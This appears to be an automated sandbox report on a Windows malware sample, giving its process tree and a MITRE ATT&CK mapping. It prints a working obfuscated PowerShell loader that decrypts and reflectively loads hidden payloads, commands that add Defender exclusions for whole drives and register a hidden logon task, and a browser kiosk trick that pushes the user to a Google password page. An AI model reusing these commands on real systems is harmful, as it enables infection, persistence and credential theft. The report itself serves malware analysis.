C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3428

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3508
- C:\Users\Admin\AppData\Local\Temp\9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe
  "C:\Users\Admin\AppData\Local\Temp\9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe"
  2⤵
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1u88t3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1u88t3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4488
    - - C:\Users\Admin\AppData\Local\Temp\1011414001\Is4UWe7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011414001\Is4UWe7.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1900
    - - C:\Users\Admin\AppData\Local\Temp\1011421001\4aDoFRV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011421001\4aDoFRV.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4452
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp1DB.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp1DB.tmp.bat
        6⤵
        
        PID:4260
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1011428021\1kokyes.cmd" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2424
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1011428021\1kokyes.cmd';$FyWj='MaCjlyiCjlynCjlyMCjlyoCjlyduCjlylCjlyeCjly'.Replace('Cjly', ''),'ChmWQganmWQggemWQgExmWQgtemWQgnmWQgsimWQgonmWQg'.Replace('mWQg', ''),'Icnvsncnvsvocnvskecnvs'.Replace('cnvs', ''),'SRNXQpRNXQlitRNXQ'.Replace('RNXQ', ''),'TraZdQPnsfZdQPoZdQPrmFZdQPinaZdQPlBlZdQPoZdQPcZdQPkZdQP'.Replace('ZdQP', ''),'CoYnxMpyTYnxMoYnxM'.Replace('YnxM', ''),'CrJxpleJxplateJxplDeJxplcrJxplypJxpltJxploJxplrJxpl'.Replace('Jxpl', ''),'ReMofQadLMofQinMofQesMofQ'.Replace('MofQ', ''),'FrPRIloPRIlmBPRIlaPRIlsePRIl6PRIl4StPRIlriPRIlnPRIlgPRIl'.Replace('PRIl', ''),'GeCmWEtCCmWEurrCmWEentCmWEProCmWEcesCmWEsCmWE'.Replace('CmWE', ''),'DecYPPQomYPPQprYPPQeYPPQssYPPQ'.Replace('YPPQ', ''),'ElCVeDeCVeDmCVeDenCVeDtCVeDACVeDtCVeD'.Replace('CVeD', ''),'LoZkgMadZkgM'.Replace('ZkgM', ''),'EnxgNqtrxgNqyxgNqPoxgNqinxgNqtxgNq'.Replace('xgNq', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($FyWj[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KNqsT($FGzIO){$qTJqJ=[System.Security.Cryptography.Aes]::Create();$qTJqJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$qTJqJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$qTJqJ.Key=[System.Convert]::($FyWj[8])('F/CYQ0EbDuVrz43Fw7HAflbZrxpM1Hp/nrXbVkkPjcE=');$qTJqJ.IV=[System.Convert]::($FyWj[8])('hx60gr1/WrWhT6ObOEvP1Q==');$JfMQw=$qTJqJ.($FyWj[6])();$riBbq=$JfMQw.($FyWj[4])($FGzIO,0,$FGzIO.Length);$JfMQw.Dispose();$qTJqJ.Dispose();$riBbq;}function xPzjs($FGzIO){$VwcBC=New-Object System.IO.MemoryStream(,$FGzIO);$poyTz=New-Object System.IO.MemoryStream;$IHpbX=New-Object System.IO.Compression.GZipStream($VwcBC,[IO.Compression.CompressionMode]::($FyWj[10]));$IHpbX.($FyWj[5])($poyTz);$IHpbX.Dispose();$VwcBC.Dispose();$poyTz.Dispose();$poyTz.ToArray();}$TGLxA=[System.IO.File]::($FyWj[7])([Console]::Title);$twDSV=xPzjs (KNqsT ([Convert]::($FyWj[8])([System.Linq.Enumerable]::($FyWj[11])($TGLxA, 5).Substring(2))));$PXXvb=xPzjs (KNqsT ([Convert]::($FyWj[8])([System.Linq.Enumerable]::($FyWj[11])($TGLxA, 6).Substring(2))));[System.Reflection.Assembly]::($FyWj[12])([byte[]]$PXXvb).($FyWj[13]).($FyWj[2])($null,$null);[System.Reflection.Assembly]::($FyWj[12])([byte[]]$twDSV).($FyWj[13]).($FyWj[2])($null,$null); "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4328
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\1011428021\1kokyes')
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1964
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 38553' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network38553Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network38553Man.cmd"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4888
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network38553Man.cmd"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1104
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network38553Man.cmd';$FyWj='MaCjlyiCjlynCjlyMCjlyoCjlyduCjlylCjlyeCjly'.Replace('Cjly', ''),'ChmWQganmWQggemWQgExmWQgtemWQgnmWQgsimWQgonmWQg'.Replace('mWQg', ''),'Icnvsncnvsvocnvskecnvs'.Replace('cnvs', ''),'SRNXQpRNXQlitRNXQ'.Replace('RNXQ', ''),'TraZdQPnsfZdQPoZdQPrmFZdQPinaZdQPlBlZdQPoZdQPcZdQPkZdQP'.Replace('ZdQP', ''),'CoYnxMpyTYnxMoYnxM'.Replace('YnxM', ''),'CrJxpleJxplateJxplDeJxplcrJxplypJxpltJxploJxplrJxpl'.Replace('Jxpl', ''),'ReMofQadLMofQinMofQesMofQ'.Replace('MofQ', ''),'FrPRIloPRIlmBPRIlaPRIlsePRIl6PRIl4StPRIlriPRIlnPRIlgPRIl'.Replace('PRIl', ''),'GeCmWEtCCmWEurrCmWEentCmWEProCmWEcesCmWEsCmWE'.Replace('CmWE', ''),'DecYPPQomYPPQprYPPQeYPPQssYPPQ'.Replace('YPPQ', ''),'ElCVeDeCVeDmCVeDenCVeDtCVeDACVeDtCVeD'.Replace('CVeD', ''),'LoZkgMadZkgM'.Replace('ZkgM', ''),'EnxgNqtrxgNqyxgNqPoxgNqinxgNqtxgNq'.Replace('xgNq', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($FyWj[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KNqsT($FGzIO){$qTJqJ=[System.Security.Cryptography.Aes]::Create();$qTJqJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$qTJqJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$qTJqJ.Key=[System.Convert]::($FyWj[8])('F/CYQ0EbDuVrz43Fw7HAflbZrxpM1Hp/nrXbVkkPjcE=');$qTJqJ.IV=[System.Convert]::($FyWj[8])('hx60gr1/WrWhT6ObOEvP1Q==');$JfMQw=$qTJqJ.($FyWj[6])();$riBbq=$JfMQw.($FyWj[4])($FGzIO,0,$FGzIO.Length);$JfMQw.Dispose();$qTJqJ.Dispose();$riBbq;}function xPzjs($FGzIO){$VwcBC=New-Object System.IO.MemoryStream(,$FGzIO);$poyTz=New-Object System.IO.MemoryStream;$IHpbX=New-Object System.IO.Compression.GZipStream($VwcBC,[IO.Compression.CompressionMode]::($FyWj[10]));$IHpbX.($FyWj[5])($poyTz);$IHpbX.Dispose();$VwcBC.Dispose();$poyTz.Dispose();$poyTz.ToArray();}$TGLxA=[System.IO.File]::($FyWj[7])([Console]::Title);$twDSV=xPzjs (KNqsT ([Convert]::($FyWj[8])([System.Linq.Enumerable]::($FyWj[11])($TGLxA, 5).Substring(2))));$PXXvb=xPzjs (KNqsT ([Convert]::($FyWj[8])([System.Linq.Enumerable]::($FyWj[11])($TGLxA, 6).Substring(2))));[System.Reflection.Assembly]::($FyWj[12])([byte[]]$PXXvb).($FyWj[13]).($FyWj[2])($null,$null);[System.Reflection.Assembly]::($FyWj[12])([byte[]]$twDSV).($FyWj[13]).($FyWj[2])($null,$null); "
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network38553Man')
        10⤵
        
        PID:6360
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 38553' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network38553Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6612
    - - C:\Users\Admin\AppData\Local\Temp\1011429001\aabe095923.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011429001\aabe095923.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2544
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 1604
        6⤵
        Program crash
        
        PID:4624
    - - C:\Users\Admin\AppData\Local\Temp\1011430001\b6e90f7d07.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011430001\b6e90f7d07.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2320
    - - C:\Users\Admin\AppData\Local\Temp\1011431001\fff4f46f92.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011431001\fff4f46f92.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5028
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1768
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4840
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:3716
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2320
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4500
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:2716
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        7⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3408
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2028 -parentBuildID 20240401114208 -prefsHandle 1948 -prefMapHandle 1940 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {13d90979-d237-48c7-a2ca-1bfbdb25cfdb} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" gpu
        8⤵
        
        PID:5088
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2492 -parentBuildID 20240401114208 -prefsHandle 2476 -prefMapHandle 2472 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c4dcb9a-01c8-4b73-8769-3cec4729ddcd} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" socket
        8⤵
        
        PID:3268
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3048 -childID 1 -isForBrowser -prefsHandle 3112 -prefMapHandle 3168 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {76f53131-1c68-4d6f-bd3b-0b2a8a960379} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        8⤵
        
        PID:4780
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3660 -childID 2 -isForBrowser -prefsHandle 2812 -prefMapHandle 3272 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5e649eb-0add-4421-8be7-b274d0e9d53e} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        8⤵
        
        PID:3324
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4260 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4252 -prefMapHandle 4180 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7671f4ea-c5ca-4954-9726-2eda91872fd3} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" utility
        8⤵
        Checks processor information in registry
        
        PID:6328
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5536 -childID 3 -isForBrowser -prefsHandle 5524 -prefMapHandle 5472 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a36bb7e-657b-49b1-b169-c7f4554a1776} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        8⤵
        
        PID:5284
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5760 -childID 4 -isForBrowser -prefsHandle 5680 -prefMapHandle 5688 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cf1c0b9-32ab-4e67-b39a-a080709c0e72} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        8⤵
        
        PID:5296
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5860 -childID 5 -isForBrowser -prefsHandle 5972 -prefMapHandle 5968 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {06b2bf48-13ce-4578-8500-2184e7d1cf5b} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        8⤵
        
        PID:5452
    - - C:\Users\Admin\AppData\Local\Temp\1011432001\8cc247243e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011432001\8cc247243e.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:1988
    - - C:\Users\Admin\AppData\Local\Temp\1011433001\23ee2d6bcc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011433001\23ee2d6bcc.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5820
    - - C:\Users\Admin\AppData\Local\Temp\1011434001\d24aaa094f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1011434001\d24aaa094f.exe"
        5⤵
        
        PID:2376
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2S9414.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2S9414.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3840
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 1660
      4⤵
      Program crash
      PID:4492
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 1716
      4⤵
      Program crash
      PID:1284
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 1736
      4⤵
      Program crash
      PID:3504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5048
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3840 -ip 3840
  2⤵
  PID:4200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3840 -ip 3840
  2⤵
  PID:4728
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3840 -ip 3840
  2⤵
  PID:1092
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2544 -ip 2544
  2⤵
  PID:4812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion